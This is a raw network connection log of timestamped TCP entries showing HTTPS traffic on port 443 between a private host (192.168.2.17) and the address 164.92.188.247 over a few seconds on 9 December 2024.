Dec 9, 2024 18:42:57.433140039 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.433162928 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.433532953 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.433538914 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.567409039 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.567435980 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.567451000 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.567517996 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.567548037 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.567596912 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.611408949 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.611457109 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.611491919 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.611505032 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.611552000 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.687397003 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.687474012 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.687520981 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.687536955 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.687578917 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.783113956 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.783138037 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.783201933 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.783214092 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.783247948 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.783271074 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.791490078 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.791553974 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.821958065 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.821979046 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.822067976 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.822077990 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.822118998 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.838337898 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.838354111 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.838449955 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.838468075 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.838510036 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.952821970 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.952847004 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.952934980 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.952967882 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.953016043 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.955581903 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.955648899 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.955673933 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.955708981 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.955756903 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.955806971 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.955823898 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.955832005 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.955867052 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.958466053 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.958494902 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.958573103 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.958796978 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.958806992 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.993391037 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.993427992 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.993521929 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.993655920 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.993705034 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.993761063 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.993933916 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.993947983 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.994242907 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.994263887 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.006200075 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.006234884 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.006373882 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.006521940 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.006535053 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.024094105 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.024120092 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.024183035 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.024748087 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.024760962 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.319190979 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.319235086 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.319334984 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.319559097 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.319571972 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.401756048 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.401859999 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:58.401930094 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.402040958 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:58.402057886 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.661380053 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.661706924 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.661725044 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.661750078 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.661907911 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.661940098 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.662044048 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.662237883 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.662345886 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.662408113 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.662580967 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.662648916 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.662724972 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.662786007 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.664441109 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.664638042 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.664659977 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.665060997 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.665363073 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.665441036 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.665504932 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.665765047 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.665944099 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.665966034 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.666611910 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.666810989 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.666832924 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.666898012 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.666981936 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.667232990 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.667289019 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.667319059 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.667958021 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.668029070 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.668266058 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.668343067 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.668349981 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.707340002 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.707340956 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.707356930 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.711335897 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.715331078 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.716846943 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.716861963 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.716895103 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.716903925 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.762854099 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.762867928 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.779885054 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.780150890 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.780167103 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.781235933 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.781313896 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.781604052 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.781673908 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.781744003 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:59.781750917 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:59.826877117 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.622647047 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.627048016 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.627111912 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.627134085 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.627149105 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.627202988 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.627808094 CET	49814	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.627823114 CET	443	49814	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.630814075 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.630852938 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.630925894 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.631181002 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.631192923 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.634107113 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.639005899 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.639059067 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.639318943 CET	49812	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.639327049 CET	443	49812	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.642978907 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.643026114 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.643116951 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.643343925 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.643361092 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.688806057 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.692343950 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.692435980 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.692667007 CET	49813	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.692682028 CET	443	49813	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.696260929 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.696279049 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.696352005 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.696588039 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.696598053 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.709758997 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.709777117 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.709863901 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.709868908 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.709914923 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.710541964 CET	49811	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.710552931 CET	443	49811	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.713975906 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.714045048 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:00.714135885 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.714358091 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:00.714375973 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.015889883 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.015913963 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.015928030 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.015959024 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.015995026 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.016021013 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.016038895 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.016055107 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.016091108 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.063137054 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.063177109 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.063290119 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.063298941 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.063360929 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.079864025 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.079951048 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.079965115 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.080017090 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.080271959 CET	49815	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.080280066 CET	443	49815	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.082998991 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.083017111 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.083096981 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.083304882 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.083322048 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.401464939 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.401489019 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.401506901 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.401568890 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.401587009 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.401647091 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.448399067 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.448451042 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.448540926 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.448548079 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.448565006 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.448597908 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.541547060 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.541578054 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.541659117 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.541682959 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.541728973 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.625735998 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.625765085 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.625885963 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.625899076 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.625950098 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.657247066 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.657267094 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.657337904 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.657347918 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.657387972 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.688503027 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.688524961 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.688599110 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.688606977 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.688647985 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.784641027 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.784662008 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.784755945 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.784765959 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.784825087 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.790016890 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.790093899 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.790098906 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.790112019 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.790152073 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.790308952 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.790321112 CET	443	49810	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:01.790328979 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:01.790369987 CET	49810	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.012274981 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.012643099 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.012666941 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.013024092 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.013340950 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.013417006 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.013492107 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.024719954 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.024946928 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.024966955 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.025257111 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.025556087 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.025615931 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.025635958 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.055329084 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.067325115 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.067853928 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.075855970 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.076106071 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.076116085 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.076977015 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.077050924 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.077308893 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.077363968 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.077394009 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.098273039 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.098541975 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.098560095 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.099554062 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.099692106 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.100075960 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.100136995 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.100286961 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.100296021 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.119332075 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.131850004 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.131858110 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.147866011 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.179845095 CET	49819	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.405309916 CET	49822	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.405361891 CET	443	49822	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.405487061 CET	49822	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.405703068 CET	49822	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.405719042 CET	443	49822	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.471669912 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.471996069 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.472012997 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.473026037 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.473113060 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.473398924 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.473462105 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.473520041 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.515875101 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.515883923 CET	443	49821	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.563864946 CET	49821	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.925558090 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.931701899 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.931791067 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.931813955 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.931827068 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.931878090 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.932645082 CET	49817	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.932656050 CET	443	49817	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.946672916 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.950742006 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:02.950839043 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.951123953 CET	49818	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:02.951143980 CET	443	49818	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.064368010 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.064389944 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.064471006 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:03.064497948 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.064501047 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.064558983 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:03.065318108 CET	49820	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:03.065334082 CET	443	49820	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.229742050 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.235662937 CET	443	49819	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:03.235790968 CET	49819	443	192.168.2.17	164.92.188.247
